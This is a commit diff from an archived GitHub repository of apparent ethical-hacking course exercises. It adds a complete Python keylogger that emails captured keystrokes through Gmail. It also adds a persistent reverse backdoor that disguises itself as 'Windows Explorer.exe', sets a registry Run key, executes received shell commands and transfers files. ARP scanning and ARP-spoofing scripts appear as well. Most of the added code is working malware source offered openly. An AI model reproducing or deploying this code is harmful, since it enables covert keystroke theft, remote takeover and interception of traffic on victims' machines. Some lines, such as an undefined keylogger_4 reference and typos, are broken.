Skip to content
This repository was archived by the owner on Aug 24, 2023. It is now read-only.

Commit 4fa67ef

Browse files
author
root
committed
updated
1 parent 8584859 commit 4fa67ef

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

65 files changed

+731
-407
lines changed

Diff for: 1 mac_changer/getmac.py

100644100755
File mode changed.

Diff for: 1 mac_changer/macchanger-1.py

100644100755
File mode changed.

Diff for: 1 mac_changer/macchanger-2.py

100644100755
File mode changed.

Diff for: 1 mac_changer/macchanger-3.py

100644100755
File mode changed.

Diff for: 1 mac_changer/macchanger-4.py

100644100755
File mode changed.

Diff for: 1 mac_changer/macchanger-5.py

100644100755
File mode changed.

Diff for: 1 mac_changer/macchanger-6.py

100644100755
File mode changed.

Diff for: 1 mac_changer/macchanger-7.py

100644100755
File mode changed.

Diff for: 1 mac_changer/macchanger-8.py

100644100755
File mode changed.

Diff for: 1 mac_changer/macchanger-9.py

100644100755
File mode changed.

Diff for: 1 mac_changer/macchanger-final.py renamed to 1 mac_changer/macchanger.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
#!/usr/bin/python
1+
#!/usr/bin/python2.7
22

33
import subprocess
44
import optparse

Diff for: 14 keylogger/keylogger.py

+52
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
#!/usr/bin/python
2+
3+
import pynput.keyboard
4+
import threading
5+
import smtplib
6+
7+
log = ""
8+
9+
class Keylogger:
10+
def __init__(self,time_interval,email,password):
11+
self.log = "Keylogger started"
12+
self.interval = time_interval
13+
self.email = email
14+
self.password = password
15+
16+
def append_to_log(self,string):
17+
self.log = self.log + string
18+
19+
def process_key_press(self,key):
20+
try:
21+
current_key = str(key.char)
22+
except AttributeError:
23+
if key == key.space:
24+
current_key = " "
25+
else:
26+
current_key = " " + str(key) + " "
27+
self.append_to_log(current_key)
28+
29+
def report(self):
30+
#print (self.log)
31+
self.send_mail(self.email,self.password,"\n\n"+self.log)
32+
self.log = ""
33+
timer = threading.Timer(self.interval,self.report)
34+
timer.start()
35+
36+
def send_mail(self,email,password,message):
37+
server = smtplib.SMTP("smtp.gmail.com",587)
38+
server.starttls()
39+
server.login(email,password)
40+
server.sendmail(email,email,message)
41+
server.quit()
42+
43+
def start(self):
44+
keyboard_listener=pynput.keyboard.Listener(on_press=self.process_key_press)
45+
with keyboard_listener:
46+
self.report()
47+
keyboard_listener.join()
48+
49+
50+
51+
my_keylogger = keylogger_4.Keylogger(120,"[email protected]","password")
52+
my_keylogger.start()

Diff for: 15 listener_and_backdoor/listener.py

100644100755
+1-1
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
#!/usr/bin/python
1+
#!/usr/bin/python2.7
22

33
import socket
44
import json

Diff for: 15 listener_and_backdoor/listener_1.py

100644100755
+1-1
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88
listener.bind(("localhost",1234))
99
listener.listen(0)
1010
print "[+] Waiting for Incoming Connection"
11-
#listen for connecion backlog is set to 0 don't need to woory about 0
11+
#listen for connecion backlog is set to 0 don't need to worry about 0
1212
connection,address = listener.accept()
1313
print "[+] Got a Connection from " + str(address)
1414

Diff for: 15 listener_and_backdoor/listener_2.py

100644100755
File mode changed.

Diff for: 15 listener_and_backdoor/listener_3.py

100644100755
+1
Original file line numberDiff line numberDiff line change
@@ -65,5 +65,6 @@ def run(self):
6565
except Exception:
6666
result = "[-] Error during command execution"
6767
print result
68+
6869
my_listener = Listener("localhost",1234)
6970
my_listener.run()

Diff for: 15 listener_and_backdoor/reverse_backdoor.py

100644100755
+1-1
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
#!/usr/bin/python
1+
#!/usr/bin/python2.7
22

33
import socket
44
import subprocess

Diff for: 15 listener_and_backdoor/reverse_backdoor_1.py

100644100755
File mode changed.

Diff for: 15 listener_and_backdoor/reverse_backdoor_2.py

100644100755
File mode changed.

Diff for: 15 listener_and_backdoor/reverse_backdoor_3.py

100644100755
File mode changed.

Diff for: 15 listener_and_backdoor/reverse_backdoor_persistent.py

100644100755
+1
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@ def __init__(self,ip,port):
1414
self.become_persistent()
1515
self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
1616
self.connection.connect(("localhost",1234))
17+
1718
def become_persistent(self):
1819
evil_file_location = os.environ["appdata"] + "\\Windows Explorer.exe"
1920
if not os.path.exists(evil_file_location):
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
#!/usr/bin/python
2+
3+
import socket
4+
import subprocess
5+
import json
6+
import os
7+
import base64
8+
import sys
9+
import shutil
10+
11+
class Backdoor:
12+
13+
def __init__(self,ip,port):
14+
self.become_persistent()
15+
self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
16+
self.connection.connect(("localhost",1234))
17+
18+
def become_persistent(self):
19+
evil_file_location = os.environ["appdata"] + "\\Windows Explorer.exe"
20+
if not os.path.exists(evil_file_location):
21+
shutil.copyfile(sys.executable,evil_file_location)
22+
subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v name /t REG_SZ /d "' + evil_file_location +'"',shell=True)
23+
24+
def reliable_send(self,data):
25+
json_data = json.dumps(data)
26+
self.connection.send(json_data)
27+
28+
def reliable_receive(self):
29+
json_data = ""
30+
while True:
31+
try:
32+
json_data = json_data + self.connection.recv(1024)
33+
return json.loads(json_data)
34+
except ValueError:
35+
continue
36+
37+
def execute_system_commmand(self,command):
38+
return subprocess.check_output(command,shell=True)
39+
40+
def change_working_directory_to(self,path):
41+
os.chdir(path)
42+
return "[+] Change working directory to " + path
43+
44+
def write_file(self,path,content):
45+
with open(path,"wb") as file:
46+
file.write(base64.b64decode(content))
47+
return "[+] Upload Succesful"
48+
49+
def read_file(self,path):
50+
with open(path,"rb") as file:
51+
return base64.b64encode(file.read())
52+
53+
def run(self):
54+
while True:
55+
command = self.reliable_receive()
56+
try:
57+
if command[0] == "exit":
58+
self.connection.close()
59+
exit()
60+
elif command[0] == "cd" and len(command) > 1:
61+
command_result = self.change_working_directory_to(command[1])
62+
elif command[0] == "download":
63+
command_result = self.read_file(command[1])
64+
elif command[0] == "upload":
65+
command_result = self.write_file(command[1],command[2])
66+
67+
else:
68+
command_result = self.execute_system_commmand(command)
69+
70+
except Exception:
71+
command_result = "[-] Error during command Execution"
72+
self.reliable_send(command_result)
73+
74+
75+
try:
76+
my_backdoor = Backdoor("localhost",1234)
77+
my_backdoor.run()
78+
79+
except Expection:
80+
sys.exit()

Diff for: 2 network_scan/network_scanner-1.py

100644100755
File mode changed.

Diff for: 2 network_scan/network_scanner-2.py

100644100755
File mode changed.

Diff for: 2 network_scan/network_scanner-3.py

100644100755
File mode changed.

Diff for: 2 network_scan/network_scanner-4.py

100644100755
File mode changed.

Diff for: 2 network_scan/network_scanner-5.py

100644100755
File mode changed.

Diff for: 2 network_scan/network_scanner-6.py

100644100755
File mode changed.

Diff for: 2 network_scan/network_scanner-7.py

100644100755
File mode changed.

Diff for: 2 network_scan/network_scanner-8.py

100644100755
File mode changed.

Diff for: 2 network_scan/network_scanner-9.py

100644100755
File mode changed.

Diff for: 2 network_scan/network_scanner-final.py

-58
This file was deleted.

Diff for: 2 network_scan/network_scanner.py

+55
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
#!/usr/bin/python2.7
2+
3+
import scapy.all as scapy
4+
import argparse
5+
6+
def get_ip():
7+
8+
parser=argparse.ArgumentParser()
9+
parser.add_argument("-r","--range",dest="ipadrr",help="Specify an IP Address or a range of IP Address")
10+
options = parser.parse_args()
11+
12+
if not options.ipadrr:
13+
parser.error("[-] Specify an IP Address or a range of IP Address --help for more details")
14+
15+
return options
16+
17+
def scan(ip):
18+
19+
arp_header = scapy.ARP(pdst = ip)
20+
ether_header = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
21+
arp_request_packet = ether_header/arp_header
22+
answered_list = scapy.srp(arp_request_packet,timeout=1)[0]
23+
24+
clients_list = []
25+
26+
for elements in answered_list:
27+
client_dict = {"ip":elements[1].psrc,"mac":elements[1].hwsrc}
28+
clients_list.append(client_dict)
29+
30+
return clients_list
31+
32+
33+
def print_result(result_list):
34+
35+
print "IpAdrr\t\t\tMacAddr"
36+
print "------------------------------------------"
37+
for client in result_list:
38+
print client['ip'],"\t\t",client['mac']
39+
40+
ip = get_ip()
41+
#get the ip address or whole ip range to ip variable
42+
43+
scan_result = scan(ip.ipadrr)
44+
#use the ipaddr instance argument to use as a input_ip to scan function
45+
46+
print_result(scan_result)
47+
#represent the scan result in easier way
48+
49+
50+
#creating arp_header with dst_ip=user_input_ip
51+
#create a ether_header to have Ether frame property with dst_mac = ff:ff:ff:ff:ff:ff
52+
#combine the Ether_header and arp_header to send
53+
#scapy.srp to send the packet in layer2 Ether frame which returns 2 value answered,unanswered timeout=1 specify wait for 1 sec till you getting replay
54+
#declaring a client_list to store a dict values of ip and mac in it nice way of storing a data and use for later use
55+
#declare a client_dict to get ip and mac

Diff for: 3 arp_spoof/arp_spoof-refine.py

+5-5
Original file line numberDiff line numberDiff line change
@@ -31,7 +31,6 @@ def getmac_all(ip_range):
3131
ether_header = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
3232
arp_request_packet = ether_header/arp_request_header
3333
answered_list = scapy.srp(arp_request_packet,timeout=1,verbose=False)[0]
34-
3534
#return answered_list[0][1].hwsrc
3635
clients_list = []
3736

@@ -44,6 +43,7 @@ def getmac_all(ip_range):
4443

4544

4645
ip_mac = getmac_all("192.168.43.1/24")
46+
#get all mac and ip address in the ip range and save to a list with {ip,mac} dict format of list
4747
print ip_mac
4848

4949
def getmac(ip_addr):
@@ -56,19 +56,20 @@ def getmac(ip_addr):
5656
def spoof(target_ip,spoof_ip):
5757

5858
dst_mac = getmac(target_ip)
59-
59+
print dst_mac,"\t",target_ip,"\n"
6060
arp_respond = scapy.ARP(op=2,pdst=target_ip,hwdst=dst_mac,psrc=spoof_ip)
6161
scapy.send(arp_respond,verbose=False)
6262

6363
def restore(target_ip,gateway_ip):
6464

6565
dst_mac=getmac(target_ip)
6666
src_mac=getmac(gateway_ip)
67+
print dst_mac,"\t",target_ip,"\n"
68+
print src_mac,"\t",gateway_ip,"\n"
6769
arp_respond = scapy.ARP(op=2,pdst=target_ip,hwdst=dst_mac,psrc=gateway_ip,hwsrc=src_mac)
6870
scapy.send(arp_respond,verbose=False,count=4)
6971

7072
count = 0
71-
7273
try:
7374
while True:
7475

@@ -84,8 +85,7 @@ def restore(target_ip,gateway_ip):
8485
except KeyboardInterrupt:
8586

8687
print "\n[+] Detected CTRL+C Quitting and restoring arp value please wait"
87-
8888
restore(target_ip,gateway_ip)
8989
#restoring client
9090
restore(gateway_ip,target_ip)
91-
#restoring router
91+
#restoring router

0 commit comments

Comments
 (0)